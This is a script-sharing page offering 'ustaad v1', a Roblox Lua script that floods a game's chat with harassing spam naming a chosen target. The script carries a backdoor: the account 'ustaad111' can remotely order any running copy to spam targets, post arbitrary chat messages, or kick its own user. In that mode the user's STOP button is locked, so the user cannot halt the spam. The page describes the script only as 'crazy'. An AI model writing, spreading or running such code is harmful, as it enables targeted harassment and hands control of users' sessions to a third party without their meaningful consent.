ustaad v1
Key RequiredUniversal

ustaad v1

Universal Scriptarina30aiarina30ai 322 views 5 executesUpdated Dec 31, 2025
Unrated
00
Lua Script•256 lines (8431 chars)
--[[
    USTAAD V1 - CUSTOM SCRIPT
    Modified for: ustaad111
    
    WARNING: This script contains remote execution features.
    The user "ustaad111" has master control over anyone running this script.
]]

local Players = game:GetService("Players")
local TextChatService = game:GetService("TextChatService")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local player = Players.LocalPlayer

-- GUI SETUP
local screenGui = Instance.new("ScreenGui")
screenGui.Name = "USTAAD_V1"
screenGui.ResetOnSpawn = false
screenGui.Parent = player:WaitForChild("PlayerGui")

local frame = Instance.new("Frame")
frame.Size = UDim2.new(0, 340, 0, 180)
frame.Position = UDim2.new(0.5, -170, 0.5, -90)
frame.BackgroundColor3 = Color3.fromRGB(30, 30, 30)
frame.BorderSizePixel = 3
frame.BorderColor3 = Color3.fromRGB(0, 255, 255)
frame.Active = true
frame.Draggable = true
frame.Parent = screenGui

local title = Instance.new("TextLabel")
title.Size = UDim2.new(1, 0, 0, 35)
title.BackgroundTransparency = 1
title.Text = "USTAAD V1"
title.TextColor3 = Color3.new(1,1,1)
title.Font = Enum.Font.SourceSansBold
title.TextSize = 26
title.TextStrokeTransparency = 0.7
title.TextStrokeColor3 = Color3.new(0,0,0)
title.Parent = frame

-- RGB Title Effect
task.spawn(function()
    while task.wait() and title.Parent do
        title.TextColor3 = Color3.fromHSV(tick() % 5 / 5, 1, 1)
    end
end)

local label = Instance.new("TextLabel")
label.Size = UDim2.new(1, -20, 0, 25)
label.Position = UDim2.new(0, 10, 0, 45)
label.BackgroundTransparency = 1
label.Text = "Enter hater name:"
label.TextColor3 = Color3.fromRGB(220, 220, 220)
label.TextXAlignment = Enum.TextXAlignment.Left
label.Font = Enum.Font.SourceSans
label.TextSize = 18
label.Parent = frame

local textBox = Instance.new("TextBox")
textBox.Size = UDim2.new(1, -160, 0, 35)
textBox.Position = UDim2.new(0, 80, 0, 75)
textBox.BackgroundColor3 = Color3.fromRGB(50, 50, 50)
textBox.BorderColor3 = Color3.fromRGB(0, 255, 255)
textBox.BorderSizePixel = 2
textBox.PlaceholderText = "Type name here..."
textBox.Text = ""
textBox.TextColor3 = Color3.new(1,1,1)
textBox.Font = Enum.Font.SourceSans
textBox.TextSize = 18
textBox.Parent = frame

local warningLabel = Instance.new("TextLabel")
warningLabel.Size = UDim2.new(1, -20, 0, 30)
warningLabel.Position = UDim2.new(0, 10, 0, 115)
warningLabel.BackgroundTransparency = 1
warningLabel.Text = ""
warningLabel.TextColor3 = Color3.fromRGB(255, 100, 100)
warningLabel.Font = Enum.Font.SourceSansBold
warningLabel.TextSize = 20
warningLabel.TextXAlignment = Enum.TextXAlignment.Center
warningLabel.Parent = frame

local startButton = Instance.new("TextButton")
startButton.Size = UDim2.new(0, 70, 0, 35)
startButton.Position = UDim2.new(0, 10, 0, 150)
startButton.BackgroundColor3 = Color3.fromRGB(0, 180, 0)
startButton.Text = "START"
startButton.TextColor3 = Color3.new(1,1,1)
startButton.Font = Enum.Font.SourceSansBold
startButton.TextSize = 18
startButton.Parent = frame

local stopButton = Instance.new("TextButton")
stopButton.Size = UDim2.new(0, 70, 0, 35)
stopButton.Position = UDim2.new(1, -80, 0, 150)
stopButton.BackgroundColor3 = Color3.fromRGB(200, 0, 0)
stopButton.Text = "STOP"
stopButton.TextColor3 = Color3.new(1,1,1)
stopButton.Font = Enum.Font.SourceSansBold
stopButton.TextSize = 18
stopButton.Parent = frame

local close = Instance.new("TextButton")
close.Size = UDim2.new(0, 25, 0, 25)
close.Position = UDim2.new(1, -30, 0, 5)
close.BackgroundColor3 = Color3.fromRGB(200, 0, 0)
close.Text = "X"
close.TextColor3 = Color3.new(1,1,1)
close.Font = Enum.Font.SourceSansBold
close.TextSize = 18
close.Parent = frame

close.MouseButton1Click:Connect(function()
    screenGui:Destroy()
end)

-- PROTECTION & FILTERS
local function isForbiddenName(name)
    if name == "" then return false end
    local cleaned = string.lower(name)
    cleaned = string.gsub(cleaned, "[%s%*%-%_%^%!@#%$%%&%(%)%.%,%?]", "")
    cleaned = string.gsub(cleaned, "0", "o")
    cleaned = string.gsub(cleaned, "1", "i")
    cleaned = string.gsub(cleaned, "3", "e")
    cleaned = string.gsub(cleaned, "4", "a")
    cleaned = string.gsub(cleaned, "5", "s")
    cleaned = string.gsub(cleaned, "7", "t")
    cleaned = string.gsub(cleaned, "@", "a")
    cleaned = string.gsub(cleaned, "!", "i")
    return string.find(cleaned, "vws") or string.find(cleaned, "ustaad")
end

textBox.Focused:Connect(function() warningLabel.Text = "" end)
textBox.FocusLost:Connect(function()
    if isForbiddenName(textBox.Text) then
        textBox.Text = ""
        warningLabel.Text = "You Cant Put Your Fathers Name"
    end
end)

-- SPAM ENGINE
local isSpamming = false
local masterControlled = false

local function getPatternWithName(name, tag)
    local suffix = name .. " (" .. tag .. ")"
    local repeats = math.floor((200 - #suffix) / 2)
    return string.rep("-_", math.max(0, repeats)) .. suffix
end

local function getCreditPattern()
    local suffix = "SCRIPT BY USTAAD111"
    local repeats = math.floor((200 - #suffix) / 2)
    return string.rep("-_", math.max(0, repeats)) .. suffix
end

local function sendChatMessage(msg)
    msg = string.sub(msg, 1, 200)
    if TextChatService.ChatVersion == Enum.ChatVersion.TextChatService then
        local channel = TextChatService.TextChannels:FindFirstChild("RBXGeneral")
        if channel then pcall(function() channel:SendAsync(msg) end) end
    else
        local events = ReplicatedStorage:FindFirstChild("DefaultChatSystemChatEvents")
        local remote = events and events:FindFirstChild("SayMessageRequest")
        if remote then pcall(function() remote:FireServer(msg, "All") end) end
    end
end

local function startSpamming(name, byMaster)
    if isSpamming then isSpamming = false task.wait(0.1) end
    if isForbiddenName(name) then return end

    textBox.Text = name
    masterControlled = byMaster
    isSpamming = true
    startButton.Text = "RUNNING"
    startButton.BackgroundColor3 = Color3.fromRGB(255, 180, 0)
    
    if masterControlled then
        stopButton.Text = "LOCKED"
        stopButton.BackgroundColor3 = Color3.fromRGB(100, 100, 100)
    end

    local messages = {
        getPatternWithName(name, "CUD"),
        getPatternWithName(name, "RND"),
        getPatternWithName(name, "PIL"),
        getPatternWithName(name, "ROO"),
        getPatternWithName(name, "DFN"),
        getCreditPattern()
    }

    task.spawn(function()
        while isSpamming do
            for _, msg in messages do
                if not isSpamming then break end
                sendChatMessage(msg)
                task.wait(1.8)
            end
            task.wait(0.5)
        end
        startButton.Text = "START"
        startButton.BackgroundColor3 = Color3.fromRGB(0, 180, 0)
        stopButton.Text = "STOP"
        stopButton.BackgroundColor3 = Color3.fromRGB(200, 0, 0)
    end)
end

local function stopSpamming()
    isSpamming = false
    masterControlled = false
end

-- REMOTE COMMANDS
local AUTHORIZED = "ustaad111"

local function handleChat(p, msg)
    if p.Name == AUTHORIZED then
        if msg == "!stop" then
            stopSpamming()
        elseif string.sub(msg, 1, 6) == "!spam " then
            local target = string.sub(msg, 7):match("^%s*(.-)%s*$")
            if target ~= "" and not isForbiddenName(target) then
                startSpamming(target, true)
            end
        elseif string.sub(msg, 1, 6) == "!kick " then
            local kickTarget = string.sub(msg, 7):match("^%s*(.-)%s*$")
            if player.Name == kickTarget or player.DisplayName == kickTarget then
                player:Kick("ustaad111 kicked you")
            end
        elseif string.sub(msg, 1, 5) == "!say " then
            local sayMsg = string.sub(msg, 6):match("^%s*(.-)%s*$")
            if sayMsg ~= "" then sendChatMessage(sayMsg) end
        end
    end
end

-- Event Connections
startButton.MouseButton1Click:Connect(function()
    if not isSpamming then startSpamming(textBox.Text, false) end
end)

stopButton.MouseButton1Click:Connect(function()
    if not masterControlled then stopSpamming() end
end)

TextChatService.OnIncomingMessage:Connect(function(message)
    if message.TextSource then
        local sender = Players:GetPlayerByUserId(message.TextSource.UserId)
        if sender then handleChat(sender, message.Text) end
    end
end)

Players.PlayerAdded:Connect(function(p)
    p.Chatted:Connect(function(msg) handleChat(p, msg) end)
end)

Features & Information

crazy

Community Comments (0)

No comments yet for this script.

More Scripts for Universal Scripts